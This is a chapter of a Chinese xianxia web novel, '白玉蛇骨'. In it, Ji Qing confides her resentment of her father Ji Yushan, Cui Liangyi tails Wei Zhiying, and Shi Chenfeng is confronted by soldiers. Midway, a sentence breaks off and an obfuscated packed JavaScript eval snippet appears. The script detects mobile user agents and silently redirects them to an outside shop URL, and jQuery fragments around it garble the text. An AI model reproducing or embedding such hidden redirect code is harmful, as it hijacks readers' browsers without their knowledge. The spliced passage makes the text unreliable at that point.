105. 关心

作品:《白玉蛇骨

    一百零五、关心


    茶毕,姬玉山派人给黎芊芊准备住处,正准备走,有人带了姬青的话来,要她过去。


    黎芊芊有些意外,随即跟了上去。


    姬青一换了身干净衣裳坐在床上,见黎芊芊来了,拿起桌上的布包递给她。


    “这是给你的。”


    黎芊芊道:“这是什么?”


    姬青道:“还你一件衣服。”


    黎芊芊这才想起来,自己的里衣已是个没有袖子的‘背心’了。


    她接过道:“谢谢。”


    姬青却道:“应当是我先谢谢你。”


    黎芊芊环顾了一下四周,道:“你这住处背阳,四时阴冷,叫姬玉山给你换间面南的屋子来。”


    姬青道:“原址暴露,我只是暂时住在此处,多谢你关心了。”


    黎芊芊道:“你之前不在这里住着?”


    姬青道:“这里靠近苗疆,而我之前在山木州那边住着。”


    黎芊芊道:“姬玉山就将你的驻点设在远离死生教的地方?”


    姬青道:“怎么了?”


    黎芊芊道:“他不相信任何人,包括你。山木州是一个他随时可以扔下的地方。”


    姬青定定看着她,竟没有反驳,也没有驱赶她。


    “你错了,他不是不相信任何人。”姬青忽然道,仿佛是下定了某种决心,“那个新来的崔良懿,还有那个姓魏的大人,父亲很相信他们。”


    她又道:“可以这么说,父亲只相信他们。可他为何不愿相信我呢?明明我做得也不差。”


    黎芊芊想说什么,但又发现自己也不了解这二人。


    姬青又道:“难道就因为我是女子,就因为我是女子父亲就不肯相信我吗?明明我做的十倍百倍地比他们都好!”


    她眼眶已红了,眼中尽是不甘。


    “我在阴暗的山牢里长大,我杀遍所有关进来的孩子,就是为了能得到他的青睐,哪怕他……哪怕他嘴上夸我一句也好……”姬青攥紧了双拳。


    黎芊芊道:“我说过,没人比他更懂养蛊,他这样将你养大,有没有想过,万一哪一天,你被其他的同龄人害死了?”


    姬青一下噤了声。


    黎芊芊继续道:“或者说,他根本不在意你的生死,也不在意你是女子还是男子,他在意的是谁能忠心耿耿地帮他做事!”


    姬青神情慌张,道:“你什么意思?”


    黎芊芊道:“再严厉的父亲也万不会拿自己孩子的性命冒险。你难道没有怀疑过,你母亲是谁?你真的是他的孩子吗?”


    姬青无力地坐在床边,望向黎芊芊。


    看着她的样子,黎芊芊忽一瞬间也心软了,松口道:“你凭你自己的实力活下来,本就无需任何人来肯定。”


    她情绪激动,黎芊芊不知她有没有听进去,起身打算走了。


    “你清楚我来此地目的不简单,我不会妨碍你是否选择要继续追随你父亲,但我也不会因你而对他心慈手软。”


    *


    小楼中。


    黎芊芊走后,姬玉山又道:“此时白蛇应当还在皇城里关着。”


    魏止郢静静听着。


    他道:“你再去放出消息,让这白蛇知道黎芊芊已被带走,他自然会想要前往营救,届时白蛇同皇城的人打得两败俱伤,我再派人收了那蛇妖。”


    魏止郢笑道:“天师大人还真是深谙这‘黄雀在后’的道理。”


    姬玉山道:“不这样事事专心,我也活不到现在。”


    说完,他垂眼看到了身旁的一双鞋。


    崔良懿默不作声地站在此处,光明正大地听完了他们所有的话。


    但姬玉山似乎并不防备他,嘱咐道:“良懿,你去告诉小青,叫他带几位妖师,这捉拿白蛇的事就交给他了。”


    崔良懿说出了今日的第一句话。


    “大人,姬青教主今日才赶路回来,舟车劳顿,就叫他歇歇,捕蛇一事交给我如何?”


    姬玉山皱起眉道:“你会什么?你连武功都没有,凑什么热闹。他还年轻,走一趟就累成这样,教主之位也快该换人了。”


    崔良懿不语,他知道他什么时候该说话,什么时候不该说。


    “天师大人,那我便去传消息了。”静默间,魏止郢插嘴道,他躬身一揖,信步离开了。


    崔良懿也跟着他离开。


    他却没有去找姬青,而是不远不近地跟着魏止郢。


    魏止郢离开了这里,向着花都山的方向行去,只见他在花都山脚和几个马倌唠了许久,又去茶楼里听了半天说书,临了还在街上逛了几圈,左手捏着一只糖糕,右手提了一袋刚出炉的油酥麻花,站在街口忽然立住了。


    崔良懿在隔着两间铺子远的地方跟着他逛了一下午,差点以为就要有所收获了。


    魏止郢手里的糖糕掉在地上,他的头也跟着向前一倒。


    差点没栽过去,他像是回过神来摇摇头,蹲下去捡糖糕。


    手刚碰到糖糕,他整个人囫囵倒在地上。


    崔良懿不明情况,向他的方向又跟进了一个铺子的距离。


    盯了许久,依旧没发现什么问题。


    他谨慎地绕到面对魏止郢的地方,才发现这人虽倒在地上,但呼吸平稳,像是睡着了。


    他慢慢走过去,一点点接近魏止郢,蹲下去拿他手里的糖糕。


    糖糕拿到了,他也被人拿在手里了。


    睡得安稳的魏止郢忽然睁开眼,落在地上的手飞速抬起,精准地握住了崔良懿的脖子。


    在看清是谁之后,魏止郢忽然松了口气:“我道是谁呢,原来是小崔兄弟。”


    他嘴上的话倒是亲切,手却没放下来。


    崔良懿道:“魏大人,多有冒犯。”


    魏止郢道:“我不是什么大人,崔小兄弟,你不打算解释一下吗?”


    崔良懿道:“跟着魏兄,我才好知道什么时候开始捕蛇啊。”


    魏止郢道:“这事不是交给姬小教主了吗?怎么,你那么心疼他,非要自己来弄?”


    崔良懿道:“那你呢,你徒徒浪费一下午,任务可是还没完成啊。”


    魏止郢道:“我的消息还用不用传,以及这蛇去哪里抓,崔小兄弟应当比我更清楚吧。”


    崔良懿顿了一下,回味一会儿他的话,心中明了,于是摊牌道:“你既已知道我泄密,为何不向姬玉山状告我?”


    魏止郢道:“是啊,我为何不告诉他呢?”


    崔良懿神色微动,他感受到魏止郢的手一点点松动,直到松开他。


    魏止郢站起身来,将手里的油酥麻花塞给他。


    “去吧,”他道,“你不是要捕蛇吗,带点见面礼去。”


    *


    师辰风随乌云进入山木州,这还是他第一次来这儿。


    乌云带他径直走入春秋夜,在师辰风好奇地左右瞧看、在门口的姑娘还未来得及拦住他俩时,就上到了四楼,找到白月明和陶云停。


    显然,这二位也不知在商量什么要紧事,皆是神情严肃。


    “方兄,我还正和白姐姐商量着,”陶云停道,“若你还不回来,我就去北疆找你和芊芊。”


    见他身后跟着的师辰风,陶云停立马两眼放光,话锋一转:“这是谁啊!?”


    “哇,你活了啊,你居然活着回来了?”她像看着什么奇珍异兽一般围着师辰风转了两圈。


    师辰风莫名其妙地看着她,她又叫道:“什么意思,你不认识我了?”


    师辰风道:“你是芊芊的什么人吗?”


    陶云停张口结舌,指了指自己,又指了指他,最后在他疑惑的眼神中败下阵来:“好吧,虽然不知发生了什么,看来你是真不记得我了。”


    她又拱手一礼,道:“我叫陶云停,是芊芊的挚友。”


    乌云简单将情况说明,白月明掏出了山木州的地图。


    “他们从此处离开,”她道,“按方兄所说,他们带着那位孕妇朝着花都山南的方向去了。”


    乌云道:“是,我和他回来时也注意到了黎姑娘她们马车的方向,便是苗疆与花都山之间的地方。”


    “那便只能是……”白月明道。


    “苗疆北的高山池,和它旁边的临池崖。”


    “事不宜迟,既然辨出了是哪里,就快行动吧。”师辰风盯着白月明手指的地方,试图将这片他很陌生的地方记住。


    陶云停道:“我觉得还是不可贸然行动……姬玉山的底细我们并不清楚,我只是怕再发生当年山祭那样的事。”


    她的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028332|182272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    担心不无道理,就这样毫无准备地进入敌人的老巢,岂非是羊入虎口。


    “你们都有道理,”白月明道,“不可就这样坐着,但行动亦不可草率。”


    乌云道:“我可以先去探探。”


    师辰风道:“我与你同去。”


    白月明道:“方兄先行,我担心姬玉山会有对付妖的方法,谨慎一点总不会错。”


    陶云停道:“那我就和这蛇妖殿后,等你消息回来。”


    几人简单商量好后,正打算行动,忽有一姑娘上楼来报了。


    “白老板,下面被官将军的人围起来了!”


    “你们在楼上等我。”白月明扔下一句话便走了。


    陶云停跟了过去,猫着腰在二楼的楼梯口向下探头。


    来人是官夷的儿子官和宜,正是年轻俊朗,但这张俊脸可一点也不好说话。


    白月明迎了上去道:“官小将军,突然来访是有何事?”


    官和宜举着一张通缉令拿到她面前。


    “白老板,圣上下令捉拿逃犯师辰风,有人看见他进了春秋夜,把人交出来我就不打扰了。”


    不等白月明回应,师辰风自己走出来了。


    “不论你是谁,”他道,“都不要再围着这里了,打扰人生意不说,还会吓着客人的。”


    陶云停拽不住他,也跟着出来了。


    师辰风道:“我确实是跑了,但我并无罪,为何还要被继续关着?”


    官和宜对比了一下通缉令上的画像,只觉得他的气质十分眼熟,却又想不起到底像谁来。


    “那好,”官和宜道,“师辰风,跟我走吧。”


    师辰风只跟他走到了春秋夜外,不打扰白月明的生意,他道:“我何时说要跟你走了?”


    官和宜眉头轻皱了一下,道:“你不从,我只能将你抓回去了。”


    他一挥手,几个将士将师辰风围起来,上去便要捉拿他。


    师辰风双手被压在身后,一道冰霜顺着将士们的手就攀了上去。


    感到刺痛,将士们一个个脱了手,他也随之挣脱了束缚。


    “你敢使妖术袭击凡人?”官和宜冷脸道。


    师辰风道:“我只是为了自保,再说了他们又没受伤。”


    他又继续道:“你还没回答我,小将军,我并无罪过,你为何要抓我?”


    官和宜道:“因你有勾结……官将军的嫌疑,此事未有定夺还擅自逃了出来……”


    他此番话并无底气,因他父亲此时也正停职待查,当然,他也不相信官夷勾结谋反一事。


    师辰风道:“小将军,这话说出来你自己笑了没有,你难不成也觉得官将军有罪吗?”


    官和宜无言以对,在这件事上,他和师辰风立场却是一致。


    师辰风道:“圣上下令让你抓我,可你我远在山木州,他皇帝就是有通天的法眼,也难以察觉这么远的事。


    “我们难道就不能坐下来,好好谈谈这件匪夷所思的事吗?


    “最好是能将这递假信的人揪出来,难道不是两全其美?”


    不知何时,师辰风竟也像黎芊芊一般,思考着不同的解法,思考着能动口就不动手的可能性。


    那官和宜好似真被他说动了,立在原地踌躇。


    僵持半晌,他却道:“要谈也得先跟我回营里谈。”


    实是个脑子不转的武呆子。


    师辰风暗自腹诽,一面抵挡着攻上来的官兵,一面道:“这我可没办法了。”


    黎芊芊曾嘱咐过他,万不可用法力伤害无辜人,他只得且战且退,若是伤了人,妖族恐怕又要被凡人们围攻。


    做一万件好事,若是做了一件坏事,此生被人们记住的就只有这件坏事了。


    后面的乌云和陶云停也来助他,官和宜实在不解:“你为何宁肯在这里耗着,也不愿和我回去?”


    师辰风道:“因为我本就不该被关起来,为何要屈服于你?”


    这恐怕是官和宜最难抓到的人,也是打得最和平的一仗。


    几番交手下来,甚至无人受伤。


    年轻的小将军站在那里竟有些无措。


    正当官和宜一筹莫展之际,一个熟悉的声音从他背后响起。


    “和宜哥,把人交给我吧。”